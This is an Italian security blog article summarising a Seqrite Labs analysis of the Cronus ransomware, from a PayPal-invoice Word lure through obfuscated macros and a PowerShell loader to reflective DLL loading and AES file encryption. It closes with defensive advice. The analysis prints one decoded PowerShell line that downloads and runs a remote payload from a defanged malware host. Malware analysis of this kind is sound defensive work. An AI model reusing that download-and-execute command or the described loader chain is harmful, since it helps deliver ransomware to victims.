Come funziona un ransomware? Scopriamo Cronus passo passo, in questo viaggio dentro il ransomware con gli analisi di Seqrite Labs – di s-mart.biz
Una nuova famiglia ransomware: Cronus
I Seqrite Labs, in particolare il team specializzato in ATP, ha individuato molte campagne che utilizzano, come esca, fatture di PayPal. Queste campagne stanno prendendo di mira singole persone in tutto il mondo e distribuiscono una nuova famiglia ransomware chiamata Cronus. Il funzionamento sembra essere sempre lo stesso: il malware è sviluppato in PowerShell e viene esegutio direttamente in memoria. Non ha necessità, cioè, di scrivere alcun contenuto dannoso sul disco.
Qui riportiamo l’analisi dei nostri Labs: ne rendiamo sia il livello di sofisticazione che i dettagli tecnici relativi alle campagne di distribuzione e tutti i dati raccolti nel corso dell’analisi telemetrica che abbiamo svolto.
In particolare esaminiamo le varie fasi di questa campagna, che inizia con un documento che serve a distribuire il payload. Quindi proseguiremo estraendo e analizzando lo script VBA e infine arriveremo al payload in PowerShell che esegue il ransomware caricando una libreria DLL.
La prima individuazione del ransomware Cronus
Il 14 Luglio 2024 il nostro team ha individuato su VirusTotal un documento dannoso grazie alle regole di ricerca che utilizziamo per verificare la presenza di macro VBA dannose integrate nei file.
Ad una prima analisi, abbiamo scoperto che questa esca imita un semplice documento di ricevuta di Paypal. In questo caso il file si chiama paypal_charges.doc. Abbiamo quindi estratto la macro e potuto verificare che questa scarica, in una seconda fase, un loader PowerShell chiamato 8eef4df388f2217caec3dc26.ps1. E’ questo loader che scarica quindi la DLL del ransomware Cronus, usando la tecnica detta “reflective loading”. Questa tecnica consente di caricare una DLL direttamente nella memoria di un processo senza alcuna necessità di scrivere la DLL sul disco.
Questa non è una novità, va detto. Altri gruppi ransomware come NETWALKER, ma non solo, hanno già usato questa tecnica in precedenza.
Catena di infezione
Analisi Tecnica del ransomware Cronus
Andiamo più nel dettaglio: abbiamo diviso l’analisi tecnica in tre sezioni.
Primo stadio dell’infezione: il documento dannoso e la macro
L’infezione inizia con un documento Word dannoso distribuito principalmente tramite email di phishing. Quindi abbiamo deciso, prima di avventurarci nell’analisi della macro, di concentrarci sul documento usato come esca.
Sorpresa: il documento è vuoto. L’analisi del flusso dannoso collegato al documento è invece molto interessante. Nel documento abbiamo verificato la presenza di due macro
Una volta capito come funzionano le macro integrate, abbiamo potuto verificare come queste siano pesantemente offuscate con l’aggiunta di commenti e nomi vi variabili del tutto inutili, fatto che ha reso l’analisi più impegnativa. Abbiamo quindi deciso di de-offuscare la Macro ed ecco il risultato:
Risulta chiaro che la macro usa powershell.exe per eseguire come argomento una stringa in Base64.
Abbiamo decodificato da Base64 ed ecco il risultato:
IEX (New-Object Net.WebClient).DownloadString(‘hxxps[:]//eternal[.]lol/file/8e53a3e023218a9b1ef9ba1ef3b5afd191a99156b77864558d/8eef4df388f2217caec3dc26[.]jpg’);
Abbiamo potuto così accertare che la macro tenta di scaricare il payload per la fase successiva dell’attacco da un server.
Secondo stadio dell’infezione: il loader PowerShell
L’estensione del file è solo apparentemente JPEG. La realtà è che si tratta di un file PowerShell e lo abbiamo analizzato di conseguenza.
Come ci aspettavamo, anche in questo caso ci imbattiamo in tantissimo codice spazzatura per complicare l’analisi. Quindi abbiamo deoffuscato manualmente lo script PowerShell rimuovendo il codice inutile.
Lo script è stato offuscato con tre livelli di codice spazzatura, che contengono un set di sequenze come queste:
if ($a.ProcessName -like “junkcodesequenceone”){
….junk code here…..
….junk code here…..
….junk code here…..
}
if ($a.ProcessName -like “junkcodesequencetwo”){
….junk code here…..
….junk code here…..
….junk code here…..
}
Script PowerShell
if ($a.ProcessName -like “junkcodesequencethree”){
….junk code here…..
….junk code here…..
….junk code here…..
}
Verificando approfonditamente il codice PowerShell deoffuscato abbiamo potuto verificare come questo includa due array di byte contenenti Assembly .NET, che vengono successivamente caricati in memoria usando la tecnica di “reflective loading”. LO stadio finale è il ransomware.
Ultimo stadio – l’Assembly .NET dannoso
Ora esaminiamo gli assembly .NET che abbiamo estratto nella seconda fase. Dopo l’estrazione, abbiamo caricato le DLL nel tool Detect-It-Easy (DIE) per individuare i file assembly .NET che erano stati pacchettizzati o protetti.
Abbiamo verificato quindi che il primo assembly .NET è stato protetto usando .NET Reactor, quindi lo abbiamo spacchettato ed esplorato ulteriormente i file assembly utilizzando il tool dnSpy per avere una panoramica dettagliata del codice.
Una volta spacchettata la prima DLL, TEStxx.dll, abbiamo scoperto che l’assembly caricato esegue la process injection. In questo caso in particolare, inietta un secondo eseguibile, RegSvcs,exe, nella memoria del processo. Quindi abbiamo analizzato il secondo eseguibile dannoso .NET
Analizzando il metodo Main dell’eseguibile finale, vediamo che il codice esegue varie task tutte appartenenti al range di comportamento dei ransomware: modifica dello sfondo del desktop, elenco e criptazione di specifiche estensioni di file e termine dei processi in corso.
Ci sono anche metodi come TRIPLE_ENCRYPT, FULL_ENCRYPT and RECURSIVE_DIRECTORY_LOOK, EXCEPTIONAL_FILE e altre cosette interessanti.
Auto replicazione
Il ransomware copia sé stesso in C:\Users\\AppData\Local. Se già presente o già copiato, il ransomware si auto cancella.
Enumerazione dei file
Il ransomware elenca i file iniziando dall’enumerazione dei dischi rigidi, quindi elenca i file presenti in questi drive. Verifica anche specifiche cartelle come \System\ directory e le esclude dalla lista. Quindi prosegue oltre creando una nuova task per la verifica ricorsiva delle directory.
Criptazione
Il ransomware utilizza due diversi metodi di criptazione, in base alla dimensione del file da criptare. Per file più piccoli di 512 kb usa il metodo FULL_ENCRYPT per criptare l’intero file. Per file più grandi invece us il metodo TRIPLE_ENCRYPT che “spezza” il file in parti differenti quindi li cripta. In entrambi i casi viene usato AES.
Viene quindi rilasciata la nota di riscatto, chiamata cronus.txt
Per l’elenco completo dei file ricercati per la criptazione, gli IoC, ulteriori funzionalità ecc.. rimandiamo all’articolo originale dei Seqrite Labs.
Proteggersi dai ransomware: step basilari
Premettendo che la sicurezza informatica al 100% non esiste e che gli strumenti, le soluzioni e la postura difensiva variano da azienda ad azienda, da rete a rete, i punti sottostanti sono il minimo indispensabile per raggiungere un livello accettabile di sicurezza informatica.
- Predisponi un piano di backup: è fondamentale dotarsi di soluzioni di backup e di organizzarsi per eseguire backup di tutti i dati a cadenza regolare. I backup stessi andranno testati regolarmente, per verificare che i dati siano integri. Disporre di backup integri e il più recenti possibile consente di minimizzare la perdita dei dati e accelerare i processi di rispristino. E’ fondamentale isolare dalla rete i backup critici per evitare che, in caso di attacco ransomware, finiscano criptati anche i backup.
- Mantieni sempre aggiornato il sistema operativo, i software e gli applicativi in uso: le vulnerabilità sono le porte di accesso che consentono agli attaccanti di accedere alle reti. Verifica che questi software siano sempre aggiornati all’ultima versione disponibile ed installa le patch consigliate dal vendor.
- Scegli una solida soluzione antivirus e mantienila sempre aggiornata: sempre più soluzioni antivirus si sono dotate di strumenti specifici per il contrasto agli attacchi ransomware.
- Adotta l’approccio zero trust: applica il principio del “privilegio minimo” per tutti gli utenti: imposta cioè, utente per utente, solo le permissioni che gli sono effettivamente necessarie per svolgere le proprie mansioni. Fai si che ogni utente possa accedere soltanto alle informazioni che gli sono indispensabili. Per approfondire > Approccio di cybersecurity Zero Trust: perchè, come e quanto è importante per le aziende con forza lavoro remota
- Evita di scaricare file o cliccare su link contenuti nelle email: spesso l’accesso alle reti da parte degli attaccanti non avviene tramite sofisticate tecniche di attacco, ma anzi l’attaccante fa breccia nel punto più debole della catena della cyber sicurezza: l’utente. E’ fondamentale non fare click su link né scaricare allegati contenuti in email inaspettate, sospette, improvvise. Infine non abilitare mai le macro contenute nei documenti circolanti via email, a meno che non ci sia l’assoluta certezza della legittimità della comunicazione. Per Approfondire > Attacchi basati sulle macro di Office: come funzionano? Breve vademecum
- Forma i dipendenti, i collaboratori e chiunque acceda alla rete: come detto, l’anello debole della catena di cyber sicurezza e sicurezza dei dati è l’utente. Forma dipendenti e collaboratori, rendili partecipi dei protocolli di sicurezza e consapevoli e sensibili rispetto ai rischi, almeno quelli più diffusi. Stabilisci un protocollo di reazione in caso di incidente informatico, così che tutti sappiano cosa fare in caso dovesse verificarsi un attacco ransomware.
- Non esporre mai direttamente in internet le connessioni Remote Desktop Protocol. Se proprio hai necessità di usare l’RDP, fallo sempre tramite una VPN.
- Implementa un modello di sicurezza stratificato (multi livello). Nella scelta di un approccio stratificato alla sicurezza, consigliamo di valutare attentamente:
> sicurezza delle reti e dei server;
> gestione degli endpoint;
> gestione dei dispositivi mobile. - Implementa sistemi di protezione preventiva: come l’Intrusion Prevention Sistem (IPS) e il Web Application Firewall. Saranno utili protezioni perimetrali, se posti a difesa dei servizi esposti su Internet.
- Adotta un SOC – Security Operation Center: un SOC è un vero e proprio centro operativo dedicato alla sicurezza informatica il cui scopo, nel complesso, è monitorare costantemente la rete aziendale in cerca di attività anomale o sospette. Per approfondire > SOC – Security Operation Center: che cosa, perché, come